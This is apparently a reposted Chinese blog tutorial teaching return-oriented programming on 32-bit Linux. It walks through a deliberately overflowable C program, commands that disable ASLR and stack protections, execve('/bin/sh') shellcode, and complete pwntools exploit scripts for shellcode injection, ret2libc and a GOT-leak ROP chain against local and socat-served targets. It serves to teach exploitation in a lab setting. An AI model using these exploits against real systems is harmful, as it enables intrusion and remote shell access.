博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
一步一步学ROP之linux_x86篇
阅读量:6268 次
发布时间:2019-06-22

本文共 12126 字,大约阅读时间需要 40 分钟。

蒸米 · 2015/06/12 10:35

0x00 序


ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来linux_x64以及android (arm)方面的ROP利用方法,欢迎大家继续学习。

小编备注:文中涉及代码可在文章最后的github链接找到。

0x01 Control Flow Hijack 程序流劫持


比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。但是如果上来就部署全部的防御,初学者可能会觉得无从下手,所以我们先从最简单的没有任何保护的程序开始,随后再一步步增加各种防御措施,接着再学习绕过的方法,循序渐进。

首先来看这个有明显缓冲区溢出的程序:

#!c#include 
#include
#include
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13);}复制代码

这里我们用

#bashgcc -fno-stack-protector -z execstack -o level1 level1.c复制代码

这个命令编译程序。-fno-stack-protector-z execstack这两个参数会分别关掉DEP和Stack Protector。同时我们在shell中执行:

#!bashsudo -s echo 0 > /proc/sys/kernel/randomize_va_spaceexit复制代码

这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。

接下来我们开始对目标程序进行分析。首先我们先来确定溢出点的位置,这里我推荐使用pattern.py这个脚本来进行计算。我们使用如下命令:

#!bashpython pattern.py create 150 复制代码

来生成一串测试用的150个字节的字符串:

#!bashAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9复制代码

随后我们使用gdb ./level1调试程序。

#!bash(gdb) runStarting program: /home/mzheng/CTF/groupstudy/test/level1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Program received signal SIGSEGV, Segmentation fault.0x37654136 in ?? ()复制代码

我们可以得到内存出错的地址为0x37654136。随后我们使用命令:

#!bashpython pattern.py offset 0x37654136hex pattern decoded as: 6Ae7140复制代码

就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。

接下来我们需要一段shellcode,可以用msf生成,或者自己反编译一下。

#!c# execve ("/bin/sh") # xor ecx, ecx# mul ecx# push ecx# push 0x68732f2f   ;; hs//# push 0x6e69622f   ;; nib/# mov ebx, esp# mov al, 11# int 0x80shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"shellcode += "\x0b\xcd\x80"复制代码

这里我们使用一段最简单的执行execve ("/bin/sh")命令的语句作为shellcode。

溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上:

[shellcode][“AAAAAAAAAAAAAA”….][ret]^------------------------------------------------|复制代码

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?

最简单的方法就是开启core dump这个功能。

#!bashulimit -c unlimitedsudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'复制代码

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

#!bash$./level1 ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault (core dumped)$ gdb level1 /tmp/core.1433844471 Core was generated by `./level1'.Program terminated with signal 11, Segmentation fault.#0  0x41414141 in ?? ()(gdb) x/10s $esp-1440xbffff290:  "ABCD", 'A' 
, "\n\374\267`\204\004\b"0xbffff335: ""复制代码

因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 “x/10s $esp-144”,我们可以得到buf的地址为0xbffff290。

OK,现在溢出点,shellcode和返回值地址都有了,可以开始写exp了。写exp的话,我强烈推荐pwntools这个工具,因为它可以非常方便的做到本地调试和远程攻击的转换。本地测试成功后只需要简单的修改一条语句就可以马上进行远程攻击。

#!bashp = process('./level1')  #本地测试p = remote('127.0.0.1',10001)  #远程攻击复制代码

最终本地测试代码如下:

#!python#!/usr/bin/env pythonfrom pwn import *p = process('./level1') ret = 0xbffff290shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"shellcode += "\x0b\xcd\x80"# p32(ret) == struct.pack("

执行exp:

#!bash$ python exp1.py [+] Started program './level1'[*] Switching to interactive mode$ whoamimzheng复制代码

接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成,命令如下:

#!bashsocat TCP4-LISTEN:10001,fork EXEC:./level1复制代码

随后这个程序的IO就被重定向到10001这个端口上了,并且可以使用 nc 127.0.0.1 10001来访问我们的目标程序服务了。

因为现在目标程序是跑在socat的环境中,exp脚本除了要把p = process('./level1')换成p = remote('127.0.0.1',10001) 之外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址。然后我们就可以使用exp进行远程溢出啦!

#!bashpython exp1.py [+] Opening connection to 127.0.0.1 on port 10001: Done[*] Switching to interactive mode$ iduid=1000(mzheng) gid=1000(mzheng) groups=1000(mzheng),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)复制代码

0x02 Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护


现在我们把DEP打开,依然关闭stack protector和ASLR。编译方法如下:

#!bashgcc -fno-stack-protector -o level2 level2.c复制代码

这时候我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。

level1:   bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]level2:   bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]复制代码

那么如何执行shellcode呢?我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。

如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。

#!bash$ gdb ./level2GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04….(gdb) break mainBreakpoint 1 at 0x8048430(gdb) runStarting program: /home/mzheng/CTF/groupstudy/test/level2 Breakpoint 1, 0x08048430 in main ()(gdb) print system$1 = {
} 0xb7e5f460
(gdb) print __libc_start_main$2 = {
} 0xb7e393f0 <__libc_start_main>(gdb) find 0xb7e393f0, +2200000, "/bin/sh"0xb7f81ff8warning: Unable to access target memory at 0xb7fc8500, halting search.1 pattern found.(gdb) x/s 0xb7f81ff80xb7f81ff8: "/bin/sh"复制代码

我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e5f460以及"/bin/sh"的地址0xb7f81ff8。下面我们开始写exp:

#!python#!/usr/bin/env pythonfrom pwn import *p = process('./level2')#p = remote('127.0.0.1',10002)ret = 0xdeadbeefsystemaddr=0xb7e5f460binshaddr=0xb7f81ff8payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)p.send(payload)p.interactive()复制代码

要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。下面我们测试一下exp:

#!python$ python exp2.py [+] Started program './level2'[*] Switching to interactive mode$ whoamimzheng复制代码

OK。测试成功。

0x03 ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护


接下来我们打开ASLR保护。

#!bashsudo -s echo 2 > /proc/sys/kernel/randomize_va_space复制代码

现在我们再回头测试一下level2的exp,发现已经不好用了。

#!bash$python exp2.py [+] Started program './level2'[*] Switching to interactive mode[*] Program './level2' stopped with exit code -11[*] Got EOF while reading in interactive复制代码

如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的。

#!bashcat /proc/[第1次执行的level2的pid]/mapsb759c000-b7740000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.sob7740000-b7741000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.sob7741000-b7743000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.sob7743000-b7744000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.socat /proc/[第2次执行的level2的pid]/mapsb7546000-b76ea000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.sob76ea000-b76eb000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.sob76eb000-b76ed000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.sob76ed000-b76ee000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.socat /proc/[第3次执行的level2的pid]/mapsb7560000-b7704000 r-xp 00000000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.sob7704000-b7705000 ---p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.sob7705000-b7707000 r--p 001a4000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.sob7707000-b7708000 rw-p 001a6000 08:01 525196     /lib/i386-linux-gnu/libc-2.15.so复制代码

那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的,如图所示:

Linux内存随机化分布图

所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:

#!bash$ objdump -d -j .plt level2Disassembly of section .plt:08048310 <>: 8048310:   ff 25 00 a0 04 08       jmp    *0x804a000 8048316:   68 00 00 00 00          push   $0x0 804831b:   e9 e0 ff ff ff          jmp    8048300 <_init+0x30>08048320 <>: 8048320:   ff 25 04 a0 04 08       jmp    *0x804a004 8048326:   68 08 00 00 00          push   $0x8 804832b:   e9 d0 ff ff ff          jmp    8048300 <_init+0x30>08048330 <>: 8048330:   ff 25 08 a0 04 08       jmp    *0x804a008 8048336:   68 10 00 00 00          push   $0x10 804833b:   e9 c0 ff ff ff          jmp    8048300 <_init+0x30>08048340 <>: 8048340:   ff 25 0c a0 04 08       jmp    *0x804a00c 8048346:   68 18 00 00 00          push   $0x18 804834b:   e9 b0 ff ff ff          jmp    8048300 <_init+0x30>$ objdump -R level2//got表DYNAMIC RELOCATION RECORDSOFFSET   TYPE              VALUE 08049ff0 R_386_GLOB_DAT    __gmon_start__0804a000 R_386_JUMP_SLOT   read0804a004 R_386_JUMP_SLOT   __gmon_start__0804a008 R_386_JUMP_SLOT   __libc_start_main0804a00c R_386_JUMP_SLOT   write复制代码

我们发现除了程序本身的实现的函数之外,我们还可以使用()()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有()函数就够了,因为我们可以通过 ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。

使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

#!bash$ldd level2     linux-gate.so.1 =>  (0xb7781000)    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c4000)    /lib/ld-linux.so.2 (0xb7782000)$ cp /lib/i386-linux-gnu/libc.so.6 libc.so复制代码

最后exp如下:

#!python#!/usr/bin/env pythonfrom pwn import *libc = ELF('libc.so')elf = ELF('level2')#p = process('./level2')p = remote('127.0.0.1', 10003)plt_write = elf.symbols['write']print 'plt_write= ' + hex(plt_write)got_write = elf.got['write']print 'got_write= ' + hex(got_write)vulfun_addr = 0x08048404print 'vulfun= ' + hex(vulfun_addr)payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)print "\n###sending payload1 ...###"p.send(payload1)print "\n###receving write() addr...###"write_addr = u32(p.recv(4))print 'write_addr=' + hex(write_addr)print "\n###calculating system() addr and \"/bin/sh\" addr...###"system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])print 'system_addr= ' + hex(system_addr)binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))print 'binsh_addr= ' + hex(binsh_addr)payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)print "\n###sending payload2 ...###"p.send(payload2)p.interactive()复制代码

接着我们使用socat把level2绑定到10003端口:

#!bashsocat TCP4-LISTEN:10003,fork EXEC:./level2复制代码

最后执行我们的exp:

#!bash$python exp3.py [+] Opening connection to 127.0.0.1 on port 10003: Doneplt_write= 0x8048340got_write= 0x804a00cvulfun= 0x8048404###sending payload1 ...######receving write() addr...###write_addr=0xb76f64c0###calculating system() addr and "/bin/sh" addr...###system_addr= 0xb7656460binsh_addr= 0xb7778ff8###sending payload2 ...###[*] Switching to interactive mode$ whoamimzheng复制代码

0x04 小结


本章简单介绍了ROP攻击的基本原理,由于篇幅原因,我们会在随后的文章中会介绍更多的攻击技巧:如何利用工具寻找gadgets,如何在不知道对方libc.so版本的情况下计算offset;如何绕过Stack Protector等。欢迎大家到时继续学习。另外本文提到的所有源代码和工具都可以从我的github下载:https://github.com/zhengmin1989/ROP_STEP_BY_STEP

0x05 参考文献


  1. The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86)
  2. picoCTF 2013: https://github.com/picoCTF/2013-Problems
  3. Smashing The Stack For Fun And Profit: http://phrack.org/issues/49/14.html
  4. 程序员的自我修养
  5. ROP轻松谈

转载地址:http://qgppa.baihongyu.com/

你可能感兴趣的文章
BBS论坛(二十七)
查看>>
html DOM 的继承关系
查看>>
装饰器的邪门歪道
查看>>
Dubbo常用配置解析
查看>>
【转】C#解析Json Newtonsoft.Json
查看>>
macports的安装及常用命令
查看>>
(转)使用C#开发ActiveX控件
查看>>
spring mvc 基于注解 配置默认 handlermapping
查看>>
半小时学会上传本地项目到github
查看>>
Android学Jni/Ndk 开发记录(一)
查看>>
Linux Tcl和Expect的安装
查看>>
WPF中的依赖项属性(转)
查看>>
linux防火墙相关 iptables
查看>>
最简单的单例模式
查看>>
JPopupMenu的使用以及JPopupMenu中子组件的事件处理
查看>>
从反汇编的角度看引用和指针的区别
查看>>
拓马长枪定乾坤
查看>>
UIProgressView的详细使用
查看>>
Silverlight实用窍门系列:70.Silverlight的视觉状态组VisualStateGroup
查看>>
照片筛选与上传功能
查看>>